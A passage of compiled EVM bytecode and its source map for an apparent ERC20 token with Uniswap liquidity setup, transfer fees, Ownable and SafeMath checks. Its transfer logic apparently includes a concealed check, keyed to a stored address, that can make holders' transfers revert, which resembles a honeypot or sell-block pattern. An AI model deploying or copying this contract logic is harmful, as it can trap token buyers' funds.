820116820180604052508101906108679190611781565b73ffffffffffffffffffffffffffffffffffffffff1663c9c6539630836040518363ffffffff1660e01b81526004016108a19291906117ac565b6020604051808303815f875af11580156108bd573d5f5f3e3d5ffd5b505050506040513d601f19601f820116820180604052508101906108e19190611781565b60025f6101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff1602179055505f61092a30610494565b9050600560019054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663f305d7193430845f5f610977610610565b426040518863ffffffff1660e01b815260040161099996959493929190611815565b60606040518083038185885af11580156109b5573d5f5f3e3d5ffd5b50505050506040513d601f19601f820116820180604052508101906109da9190611888565b50505060025f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663095ea7b3600560019054906101000a900473ffffffffffffffffffffffffffffffffffffffff167fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff6040518363ffffffff1660e01b8152600401610a7b9291906118d8565b6020604051808303815f875af1158015610a97573d5f5f3e3d5ffd5b505050506040513d601f19601f82011682018060405250810190610abb9190611929565b50600160055f6101000a81548160ff0219169083151502179055505050565b5f60035f8473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f8373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f2054905092915050565b5f73ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1603610bca576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610bc1906119c4565b60405180910390fd5b5f73ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1603610c38576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610c2f90611a52565b60405180910390fd5b8060035f8573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f8473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f20819055508173ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b92583604051610d1291906115d7565b60405180910390a3505050565b5f73ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1603610d8d576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610d8490611aba565b60405180910390fd5b5f73ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1603610dfb576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610df290611b22565b60405180910390fd5b5f8111610e3d576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610e3490611bb0565b60405180910390fd5b5f5f905060025f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff1614158015610eca57503073ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff1614155b8015610edd57505f610edb856111c0565b115b15610f1157610f0a6064610efc6008548561130690919063ffffffff16565b61137d90919063ffffffff16565b9050610f3c565b610f396064610f2b6007548561130690919063ffffffff16565b61137d90919063ffffffff16565b90505b5f811115610fd657610f948160045f3073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f20546113d990919063ffffffff16565b60045f3073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f20819055505b6110268260045f8773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205461116390919063ffffffff16565b60045f8673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f20819055506110b78260045f8673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f20546113d990919063ffffffff16565b60045f8573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f20819055508273ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef8460405161115591906115d7565b60405180910390a350505050565b5f828211156111a7576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161119e90611c18565b60405180910390fd5b5f82846111b49190611c63565b90508091505092915050565b5f5f60035f60065f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f8473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205414611265575f5ffd5b60035f60065f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f8373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f20549050919050565b5f5f8303611316575f9050611377565b5f82846113239190611c96565b90508284826113329190611d04565b14611372576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161136990611da4565b60405180910390fd5b809150505b92915050565b5f5f82116113c0576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016113b790611e0c565b60405180910390fd5b5f82846113cd9190611d04565b90508091505092915050565b5f5f82846113e79190611e2a565b90508381101561142c576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161142390611ea7565b60405180910390fd5b8091505092915050565b5f81519050919050565b5f82825260208201905092915050565b8281835e5f83830152505050565b5f601f19601f8301169050919050565b5f61147882611436565b6114828185611440565b9350611492818560208601611450565b61149b8161145e565b840191505092915050565b5f6020820190508181035f8301526114be818461146e565b905092915050565b5f5ffd5b5f73ffffffffffffffffffffffffffffffffffffffff82169050919050565b5f6114f3826114ca565b9050919050565b611503816114e9565b811461150d575f5ffd5b50565b5f8135905061151e816114fa565b92915050565b5f819050919050565b61153681611524565b8114611540575f5ffd5b50565b5f813590506115518161152d565b92915050565b5f5f6040838503121561156d5761156c6114c6565b5b5f61157a85828601611510565b925050602061158b85828601611543565b9150509250929050565b5f8115159050919050565b6115a981611595565b82525050565b5f6020820190506115c25f8301846115a0565b92915050565b6115d181611524565b82525050565b5f6020820190506115ea5f8301846115c8565b92915050565b5f5f5f60608486031215611607576116066114c6565b5b5f61161486828701611510565b935050602061162586828701611510565b925050604061163686828701611543565b9150509250925092565b5f60ff82169050919050565b61165581611640565b82525050565b5f60208201905061166e5f83018461164c565b92915050565b61167d816114e9565b82525050565b5f6020820190506116965f830184611674565b92915050565b5f602082840312156116b1576116b06114c6565b5b5f6116be84828501611510565b91505092915050565b5f5f604083850312156116dd576116dc6114c6565b5b5f6116ea85828601611510565b92505060206116fb85828601611510565b9150509250929050565b7f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e65725f82015250565b5f611739602083611440565b915061174482611705565b602082019050919050565b5f6020820190508181035f8301526117668161172d565b9050919050565b5f8151905061177b816114fa565b92915050565b5f60208284031215611796576117956114c6565b5b5f6117a38482850161176d565b91505092915050565b5f6040820190506117bf5f830185611674565b6117cc6020830184611674565b9392505050565b5f819050919050565b5f819050919050565b5f6117ff6117fa6117f5846117d3565b6117dc565b611524565b9050919050565b61180f816117e5565b82525050565b5f60c0820190506118285f830189611674565b61183560208301886115c8565b6118426040830187611806565b61184f6060830186611806565b61185c6080830185611674565b61186960a08301846115c8565b979650505050505050565b5f815190506118828161152d565b92915050565b5f5f5f6060848603121561189f5761189e6114c6565b5b5f6118ac86828701611874565b93505060206118bd86828701611874565b92505060406118ce86828701611874565b9150509250925092565b5f6040820190506118eb5f830185611674565b6118f860208301846115c8565b9392505050565b61190881611595565b8114611912575f5ffd5b50565b5f81519050611923816118ff565b92915050565b5f6020828403121561193e5761193d6114c6565b5b5f61194b84828501611915565b91505092915050565b7f45524332303a20617070726f76652066726f6d20746865207a65726f206164645f8201527f7265737300000000000000000000000000000000000000000000000000000000602082015250565b5f6119ae602483611440565b91506119b982611954565b604082019050919050565b5f6020820190508181035f8301526119db816119a2565b9050919050565b7f45524332303a20617070726f766520746f20746865207a65726f2061646472655f8201527f7373000000000000000000000000000000000000000000000000000000000000602082015250565b5f611a3c602283611440565b9150611a47826119e2565b604082019050919050565b5f6020820190508181035f830152611a6981611a30565b9050919050565b7f5472616e7366657220746f20746865207a65726f20616464726573732e0000005f82015250565b5f611aa4601d83611440565b9150611aaf82611a70565b602082019050919050565b5f6020820190508181035f830152611ad181611a98565b9050919050565b7f5472616e736665722066726f6d20746865207a65726f20616464726573732e005f82015250565b5f611b0c601f83611440565b9150611b1782611ad8565b602082019050919050565b5f6020820190508181035f830152611b3981611b00565b9050919050565b7f5472616e7366657220616d6f756e74206d7573742062652067726561746572205f8201527f7468616e207a65726f2e00000000000000000000000000000000000000000000602082015250565b5f611b9a602a83611440565b9150611ba582611b40565b604082019050919050565b5f6020820190508181035f830152611bc781611b8e565b9050919050565b7f536166654d6174683a20207375627472616374696f6e206f766572666c6f772e5f82015250565b5f611c02602083611440565b9150611c0d82611bce565b602082019050919050565b5f6020820190508181035f830152611c2f81611bf6565b9050919050565b7f4e487b71000000000000000000000000000000000000000000000000000000005f52601160045260245ffd5b5f611c6d82611524565b9150611c7883611524565b9250828203905081811115611c9057611c8f611c36565b5b92915050565b5f611ca082611524565b9150611cab83611524565b9250828202611cb981611524565b91508282048414831517611cd057611ccf611c36565b5b5092915050565b7f4e487b71000000000000000000000000000000000000000000000000000000005f52601260045260245ffd5b5f611d0e82611524565b9150611d1983611524565b925082611d2957611d28611cd7565b5b828204905092915050565b7f536166654d6174683a20206d756c7469706c69636174696f6e206f766572666c5f8201527f6f772e0000000000000000000000000000000000000000000000000000000000602082015250565b5f611d8e602383611440565b9150611d9982611d34565b604082019050919050565b5f6020820190508181035f830152611dbb81611d82565b9050919050565b7f536166654d6174683a20206469766973696f6e206279207a65726f2e000000005f82015250565b5f611df6601c83611440565b9150611e0182611dc2565b602082019050919050565b5f6020820190508181035f830152611e2381611dea565b9050919050565b5f611e3482611524565b9150611e3f83611524565b9250828201905080821115611e5757611e56611c36565b5b92915050565b7f536166654d6174683a20206164646974696f6e206f766572666c6f772e0000005f82015250565b5f611e91601d83611440565b9150611e9c82611e5d565b602082019050919050565b5f6020820190508181035f830152611ebe81611e85565b905091905056fea2646970667358221220256bb33be65c6daf8ea87dc6150d3fb6058e47fbcbd7dd85edcd6864fce6d74964736f6c634300081c0033

Deployed Bytecode Sourcemap

2384:4526:0:-:0;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;3946:85;;;;;;;;;;;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;4765:150;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;3847:93;;;;;;;;;;;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;4223:256;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;4132:85;;;;;;;;;;;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;2549:28;;;;;;;;;;;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;4485:112;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;2025:140;;;;;;;;;;;;;:::i;:::-;;3211:79;;;;;;;;;;;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;1932:87;;;;;;;;;;;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;4037:89;;;;;;;;;;;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;4603:156;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;6307:598;;;:::i;:::-;;3705:136;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;3946:85;3983:13;4017:5;;;;;;;;;;;;;;;;;4010:12;;3946:85;:::o;4765:150::-;4831:4;4848:37;4857:10;4869:7;4878:6;4848:8;:37::i;:::-;4903:4;4896:11;;4765:150;;;;:::o;3847:93::-;3891:7;3919:12;;3912:19;;3847:93;:::o;4223:256::-;4312:4;4329:36;4339:6;4347:9;4358:6;4329:9;:36::i;:::-;4376:73;4385:6;4393:10;4405:43;4441:6;4405:11;:19;4417:6;4405:19;;;;;;;;;;;;;;;:31;4425:10;4405:31;;;;;;;;;;;;;;;;:35;;:43;;;;:::i;:::-;4376:8;:73::i;:::-;4467:4;4460:11;;4223:256;;;;;:::o;4132:85::-;4173:5;4199:9;;;;;;;;;;;4192:16;;4132:85;:::o;2549:28::-;;;;;;;;;;;;;:::o;4485:112::-;4542:7;4570:9;:18;4580:7;4570:18;;;;;;;;;;;;;;;;4563:25;;4485:112;;;:::o;2025:140::-;2222:10;2211:21;;:7;:5;:7::i;:::-;:21;;;2203:66;;;;;;;;;;;;:::i;:::-;;;;;;;;;2124:1:::1;2087:40;;2108:6;;;;;;;;;;;2087:40;;;;;;;;;;;;2155:1;2138:6;;:19;;;;;;;;;;;;;;;;;;2025:140::o:0;3211:79::-;3248:42;3211:79;:::o;1932:87::-;1978:7;2005:6;;;;;;;;;;;1998:13;;1932:87;:::o;4037:89::-;4076:13;4110:7;;;;;;;;;;;;;;;;;4103:14;;4037:89;:::o;4603:156::-;4672:4;4689:40;4699:10;4711:9;4722:6;4689:9;:40::i;:::-;4747:4;4740:11;;4603:156;;;;:::o;6307:598::-;2222:10;2211:21;;:7;:5;:7::i;:::-;:21;;;2203:66;;;;;;;;;;;;:::i;:::-;;;;;;;;;6379:11:::1;;;;;;;;;;;6378:12;6370:21;;;;;;6403:63;6420:4;6435:15;;;;;;;;;;;6453:12;;6403:8;:63::i;:::-;6477:12;6492:15;;;;;;;;;;;:20;;;:22;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;6477:37;;6559:15;;;;;;;;;;;:23;;;:25;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;6541:55;;;6605:4;6612;6541:76;;;;;;;;;;;;;;;;:::i;:::-;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;6525:13;;:92;;;;;;;;;;;;;;;;;;6628:15;6646:24;6664:4;6646:9;:24::i;:::-;6628:42;;6681:15;;;;;;;;;;;:31;;;6720:9;6739:4;6746:7;6755:1;6758;6761:7;:5;:7::i;:::-;6770:15;6681:105;;;;;;;;;;;;;;;;;;;;:::i;:::-;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;;;;6804:13;;;;;;;;;;;6797:29;;;6835:15;;;;;;;;;;;6853:14;6797:71;;;;;;;;;;;;;;;;:::i;:::-;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;;6893:4;6879:11;;:18;;;;;;;;;;;;;;;;;;6359:546;;6307:598::o:0;3705:136::-;3777:7;3805:11;:18;3817:5;3805:18;;;;;;;;;;;;;;;:27;3824:7;3805:27;;;;;;;;;;;;;;;;3798:34;;3705:136;;;;:::o;4921:335::-;5031:1;5014:19;;:5;:19;;;5006:68;;;;;;;;;;;;:::i;:::-;;;;;;;;;5112:1;5093:21;;:7;:21;;;5085:68;;;;;;;;;;;;:::i;:::-;;;;;;;;;5194:6;5164:11;:18;5176:5;5164:18;;;;;;;;;;;;;;;:27;5183:7;5164:27;;;;;;;;;;;;;;;:36;;;;5232:7;5216:32;;5225:5;5216:32;;;5241:6;5216:32;;;;;;:::i;:::-;;;;;;;;4921:335;;;:::o;5461:838::-;5563:1;5549:16;;:2;:16;;;5541:58;;;;;;;;;;;;:::i;:::-;;;;;;;;;5634:1;5618:18;;:4;:18;;;5610:62;;;;;;;;;;;;:::i;:::-;;;;;;;;;5700:1;5691:6;:10;5683:65;;;;;;;;;;;;:::i;:::-;;;;;;;;;5759:17;5779:1;5759:21;;5803:13;;;;;;;;;;;5795:21;;:4;:21;;;;:46;;;;;5836:4;5820:21;;:4;:21;;;;5795:46;:78;;;;;5872:1;5845:24;5864:4;5845:18;:24::i;:::-;:28;5795:78;5791:229;;;5902:29;5927:3;5902:20;5913:8;;5902:6;:10;;:20;;;;:::i;:::-;:24;;:29;;;;:::i;:::-;5890:41;;5791:229;;;5976:28;6000:3;5976:19;5987:7;;5976:6;:10;;:19;;;;:::i;:::-;:23;;:28;;;;:::i;:::-;5964:40;;5791:229;6046:1;6034:9;:13;6030:112;;;6091:39;6120:9;6091;:24;6109:4;6091:24;;;;;;;;;;;;;;;;:28;;:39;;;;:::i;:::-;6064:9;:24;6082:4;6064:24;;;;;;;;;;;;;;;:66;;;;6030:112;6170:27;6190:6;6170:9;:15;6180:4;6170:15;;;;;;;;;;;;;;;;:19;;:27;;;;:::i;:::-;6152:9;:15;6162:4;6152:15;;;;;;;;;;;;;;;:45;;;;6224:25;6242:6;6224:9;:13;6234:2;6224:13;;;;;;;;;;;;;;;;:17;;:25;;;;:::i;:::-;6208:9;:13;6218:2;6208:13;;;;;;;;;;;;;;;:41;;;;6280:2;6265:26;;6274:4;6265:26;;;6284:6;6265:26;;;;;;:::i;:::-;;;;;;;;5530:769;5461:838;;;:::o;1260:184::-;1318:7;1351:1;1346;:6;;1338:51;;;;;;;;;;;;:::i;:::-;;;;;;;;;1400:9;1416:1;1412;:5;;;;:::i;:::-;1400:17;;1435:1;1428:8;;;1260:184;;;;:::o;5262:191::-;5327:7;5392:1;5359:11;:23;5371:10;;;;;;;;;;;5359:23;;;;;;;;;;;;;;;:29;5383:4;5359:29;;;;;;;;;;;;;;;;:34;5351:43;;;;;;5416:11;:23;5428:10;;;;;;;;;;;5416:23;;;;;;;;;;;;;;;:29;5440:4;5416:29;;;;;;;;;;;;;;;;5409:36;;5262:191;;;:::o;1030:224::-;1088:7;1117:1;1112;:6;1108:23;;1128:1;1121:8;;;;1108:23;1141:9;1157:1;1153;:5;;;;:::i;:::-;1141:17;;1186:1;1181;1177;:5;;;;:::i;:::-;:10;1169:58;;;;;;;;;;;;:::i;:::-;;;;;;;;;1245:1;1238:8;;;1030:224;;;;;:::o;1637:179::-;1695:7;1727:1;1723;:5;1715:46;;;;;;;;;;;;:::i;:::-;;;;;;;;;1772:9;1788:1;1784;:5;;;;:::i;:::-;1772:17;;1807:1;1800:8;;;1637:179;;;;:::o;1450:181::-;1508:7;1528:9;1544:1;1540;:5;;;;:::i;:::-;1528:17;;1569:1;1564;:6;;1556:48;;;;;;;;;;;;:::i;:::-;;;;;;;;;1622:1;1615:8;;;1450:181;;;;:::o;7:99:1:-;59:6;93:5;87:12;77:22;;7:99;;;:::o;112:169::-;196:11;230:6;225:3;218:19;270:4;265:3;261:14;246:29;;112:169;;;;:::o;287:139::-;376:6;371:3;366;360:23;417:1;408:6;403:3;399:16;392:27;287:139;;;:::o;432:102::-;473:6;524:2;520:7;515:2;508:5;504:14;500:28;490:38;;432:102;;;:::o;540:377::-;628:3;656:39;689:5;656:39;:::i;:::-;711:71;775:6;770:3;711:71;:::i;:::-;704:78;;791:65;849:6;844:3;837:4;830:5;826:16;791:65;:::i;:::-;881:29;903:6;881:29;:::i;:::-;876:3;872:39;865:46;;632:285;540:377;;;;:::o;923:313::-;1036:4;1074:2;1063:9;1059:18;1051:26;;1123:9;1117:4;1113:20;1109:1;1098:9;1094:17;1087:47;1151:78;1224:4;1215:6;1151:78;:::i;:::-;1143:86;;923:313;;;;:::o;1323:117::-;1432:1;1429;1422:12;1569:126;1606:7;1646:42;1639:5;1635:54;1624:65;;1569:126;;;:::o;1701:96::-;1738:7;1767:24;1785:5;1767:24;:::i;:::-;1756:35;;1701:96;;;:::o;1803:122::-;1876:24;1894:5;1876:24;:::i;:::-;1869:5;1866:35;1856:63;;1915:1;1912;1905:12;1856:63;1803:122;:::o;1931:139::-;1977:5;2015:6;2002:20;1993:29;;2031:33;2058:5;2031:33;:::i;:::-;1931:139;;;;:::o;2076:77::-;2113:7;2142:5;2131:16;;2076:77;;;:::o;2159:122::-;2232:24;2250:5;2232:24;:::i;:::-;2225:5;2222:35;2212:63;;2271:1;2268;2261:12;2212:63;2159:122;:::o;2287:139::-;2333:5;2371:6;2358:20;2349:29;;2387:33;2414:5;2387:33;:::i;:::-;2287:139;;;;:::o;2432:474::-;2500:6;2508;2557:2;2545:9;2536:7;2532:23;2528:32;2525:119;;;2563:79;;:::i;:::-;2525:119;2683:1;2708:53;2753:7;2744:6;2733:9;2729:22;2708:53;:::i;:::-;2698:63;;2654:117;2810:2;2836:53;2881:7;2872:6;2861:9;2857:22;2836:53;:::i;:::-;2826:63;;2781:118;2432:474;;;;;:::o;2912:90::-;2946:7;2989:5;2982:13;2975:21;2964:32;;2912:90;;;:::o;3008:109::-;3089:21;3104:5;3089:21;:::i;:::-;3084:3;3077:34;3008:109;;:::o;3123:210::-;3210:4;3248:2;3237:9;3233:18;3225:26;;3261:65;3323:1;3312:9;3308:17;3299:6;3261:65;:::i;:::-;3123:210;;;;:::o;3339:118::-;3426:24;3444:5;3426:24;:::i;:::-;3421:3;3414:37;3339:118;;:::o;3463:222::-;3556:4;3594:2;3583:9;3579:18;3571:26;;3607:71;3675:1;3664:9;3660:17;3651:6;3607:71;:::i;:::-;3463:222;;;;:::o;3691:619::-;3768:6;3776;3784;3833:2;3821:9;3812:7;3808:23;3804:32;3801:119;;;3839:79;;:::i;:::-;3801:119;3959:1;3984:53;4029:7;4020:6;4009:9;4005:22;3984:53;:::i;:::-;3974:63;;3930:117;4086:2;4112:53;4157:7;4148:6;4137:9;4133:22;4112:53;:::i;:::-;4102:63;;4057:118;4214:2;4240:53;4285:7;4276:6;4265:9;4261:22;4240:53;:::i;:::-;4230:63;;4185:118;3691:619;;;;;:::o;4316:86::-;4351:7;4391:4;4384:5;4380:16;4369:27;;4316:86;;;:::o;4408:112::-;4491:22;4507:5;4491:22;:::i;:::-;4486:3;4479:35;4408:112;;:::o;4526:214::-;4615:4;4653:2;4642:9;4638:18;4630:26;;4666:67;4730:1;4719:9;4715:17;4706:6;4666:67;:::i;:::-;4526:214;;;;:::o;4746:118::-;4833:24;4851:5;4833:24;:::i;:::-;4828:3;4821:37;4746:118;;:::o;4870:222::-;4963:4;5001:2;4990:9;4986:18;4978:26;;5014:71;5082:1;5071:9;5067:17;5058:6;5014:71;:::i;:::-;4870:222;;;;:::o;5098:329::-;5157:6;5206:2;5194:9;5185:7;5181:23;5177:32;5174:119;;;5212:79;;:::i;:::-;5174:119;5332:1;5357:53;5402:7;5393:6;5382:9;5378:22;5357:53;:::i;:::-;5347:63;;5303:117;5098:329;;;;:::o;5433:474::-;5501:6;5509;5558:2;5546:9;5537:7;5533:23;5529:32;5526:119;;;5564:79;;:::i;:::-;5526:119;5684:1;5709:53;5754:7;5745:6;5734:9;5730:22;5709:53;:::i;:::-;5699:63;;5655:117;5811:2;5837:53;5882:7;5873:6;5862:9;5858:22;5837:53;:::i;:::-;5827:63;;5782:118;5433:474;;;;;:::o;5913:182::-;6053:34;6049:1;6041:6;6037:14;6030:58;5913:182;:::o;6101:366::-;6243:3;6264:67;6328:2;6323:3;6264:67;:::i;:::-;6257:74;;6340:93;6429:3;6340:93;:::i;:::-;6458:2;6453:3;6449:12;6442:19;;6101:366;;;:::o;6473:419::-;6639:4;6677:2;6666:9;6662:18;6654:26;;6726:9;6720:4;6716:20;6712:1;6701:9;6697:17;6690:47;6754:131;6880:4;6754:131;:::i;:::-;6746:139;;6473:419;;;:::o;6898:143::-;6955:5;6986:6;6980:13;6971:22;;7002:33;7029:5;7002:33;:::i;:::-;6898:143;;;;:::o;7047:351::-;7117:6;7166:2;7154:9;7145:7;7141:23;7137:32;7134:119;;;7172:79;;:::i;:::-;7134:119;7292:1;7317:64;7373:7;7364:6;7353:9;7349:22;7317:64;:::i;:::-;7307:74;;7263:128;7047:351;;;;:::o;7404:332::-;7525:4;7563:2;7552:9;7548:18;7540:26;;7576:71;7644:1;7633:9;7629:17;7620:6;7576:71;:::i;:::-;7657:72;7725:2;7714:9;7710:18;7701:6;7657:72;:::i;:::-;7404:332;;;;;:::o;7742:85::-;7787:7;7816:5;7805:16;;7742:85;;;:::o;7833:60::-;7861:3;7882:5;7875:12;;7833:60;;;:::o;7899:158::-;7957:9;7990:61;8008:42;8017:32;8043:5;8017:32;:::i;:::-;8008:42;:::i;:::-;7990:61;:::i;:::-;7977:74;;7899:158;;;:::o;8063:147::-;8158:45;8197:5;8158:45;:::i;:::-;8153:3;8146:58;8063:147;;:::o;8216:807::-;8465:4;8503:3;8492:9;8488:19;8480:27;;8517:71;8585:1;8574:9;8570:17;8561:6;8517:71;:::i;:::-;8598:72;8666:2;8655:9;8651:18;8642:6;8598:72;:::i;:::-;8680:80;8756:2;8745:9;8741:18;8732:6;8680:80;:::i;:::-;8770;8846:2;8835:9;8831:18;8822:6;8770:80;:::i;:::-;8860:73;8928:3;8917:9;8913:19;8904:6;8860:73;:::i;:::-;8943;9011:3;9000:9;8996:19;8987:6;8943:73;:::i;:::-;8216:807;;;;;;;;;:::o;9029:143::-;9086:5;9117:6;9111:13;9102:22;;9133:33;9160:5;9133:33;:::i;:::-;9029:143;;;;:::o;9178:663::-;9266:6;9274;9282;9331:2;9319:9;9310:7;9306:23;9302:32;9299:119;;;9337:79;;:::i;:::-;9299:119;9457:1;9482:64;9538:7;9529:6;9518:9;9514:22;9482:64;:::i;:::-;9472:74;;9428:128;9595:2;9621:64;9677:7;9668:6;9657:9;9653:22;9621:64;:::i;:::-;9611:74;;9566:129;9734:2;9760:64;9816:7;9807:6;9796:9;9792:22;9760:64;:::i;:::-;9750:74;;9705:129;9178:663;;;;;:::o;9847:332::-;9968:4;10006:2;9995:9;9991:18;9983:26;;10019:71;10087:1;10076:9;10072:17;10063:6;10019:71;:::i;:::-;10100:72;10168:2;10157:9;10153:18;10144:6;10100:72;:::i;:::-;9847:332;;;;;:::o;10185:116::-;10255:21;10270:5;10255:21;:::i;:::-;10248:5;10245:32;10235:60;;10291:1;10288;10281:12;10235:60;10185:116;:::o;10307:137::-;10361:5;10392:6;10386:13;10377:22;;10408:30;10432:5;10408:30;:::i;:::-;10307:137;;;;:::o;10450:345::-;10517:6;10566:2;10554:9;10545:7;10541:23;10537:32;10534:119;;;10572:79;;:::i;:::-;10534:119;10692:1;10717:61;10770:7;10761:6;10750:9;10746:22;10717:61;:::i;:::-;10707:71;;10663:125;10450:345;;;;:::o;10801:223::-;10941:34;10937:1;10929:6;10925:14;10918:58;11010:6;11005:2;10997:6;10993:15;10986:31;10801:223;:::o;11030:366::-;11172:3;11193:67;11257:2;11252:3;11193:67;:::i;:::-;11186:74;;11269:93;11358:3;11269:93;:::i;:::-;11387:2;11382:3;11378:12;11371:19;;11030:366;;;:::o;11402:419::-;11568:4;11606:2;11595:9;11591:18;11583:26;;11655:9;11649:4;11645:20;11641:1;11630:9;11626:17;11619:47;11683:131;11809:4;11683:131;:::i;:::-;11675:139;;11402:419;;;:::o;11827:221::-;11967:34;11963:1;11955:6;11951:14;11944:58;12036:4;12031:2;12023:6;12019:15;12012:29;11827:221;:::o;12054:366::-;12196:3;12217:67;12281:2;12276:3;12217:67;:::i;:::-;12210:74;;12293:93;12382:3;12293:93;:::i;:::-;12411:2;12406:3;12402:12;12395:19;;12054:366;;;:::o;12426:419::-;12592:4;12630:2;12619:9;12615:18;12607:26;;12679:9;12673:4;12669:20;12665:1;12654:9;12650:17;12643:47;12707:131;12833:4;12707:131;:::i;:::-;12699:139;;12426:419;;;:::o;12851:179::-;12991:31;12987:1;12979:6;12975:14;12968:55;12851:179;:::o;13036:366::-;13178:3;13199:67;13263:2;13258:3;13199:67;:::i;:::-;13192:74;;13275:93;13364:3;13275:93;:::i;:::-;13393:2;13388:3;13384:12;13377:19;;13036:366;;;:::o;13408:419::-;13574:4;13612:2;13601:9;13597:18;13589:26;;13661:9;13655:4;13651:20;13647:1;13636:9;13632:17;13625:47;13689:131;13815:4;13689:131;:::i;:::-;13681:139;;13408:419;;;:::o;13833:181::-;13973:33;13969:1;13961:6;13957:14;13950:57;13833:181;:::o;14020:366::-;14162:3;14183:67;14247:2;14242:3;14183:67;:::i;:::-;14176:74;;14259:93;14348:3;14259:93;:::i;:::-;14377:2;14372:3;14368:12;14361:19;;14020:366;;;:::o;14392:419::-;14558:4;14596:2;14585:9;14581:18;14573:26;;14645:9;14639:4;14635:20;14631:1;14620:9;14616:17;14609:47;14673:131;14799:4;14673:131;:::i;:::-;14665:139;;14392:419;;;:::o;14817:229::-;14957:34;14953:1;14945:6;14941:14;14934:58;15026:12;15021:2;15013:6;15009:15;15002:37;14817:229;:::o;15052:366::-;15194:3;15215:67;15279:2;15274:3;15215:67;:::i;:::-;15208:74;;15291:93;15380:3;15291:93;:::i;:::-;15409:2;15404:3;15400:12;15393:19;;15052:366;;;:::o;15424:419::-;15590:4;15628:2;15617:9;15613:18;15605:26;;15677:9;15671:4;15667:20;15663:1;15652:9;15648:17;15641:47;15705:131;15831:4;15705:131;:::i;:::-;15697:139;;15424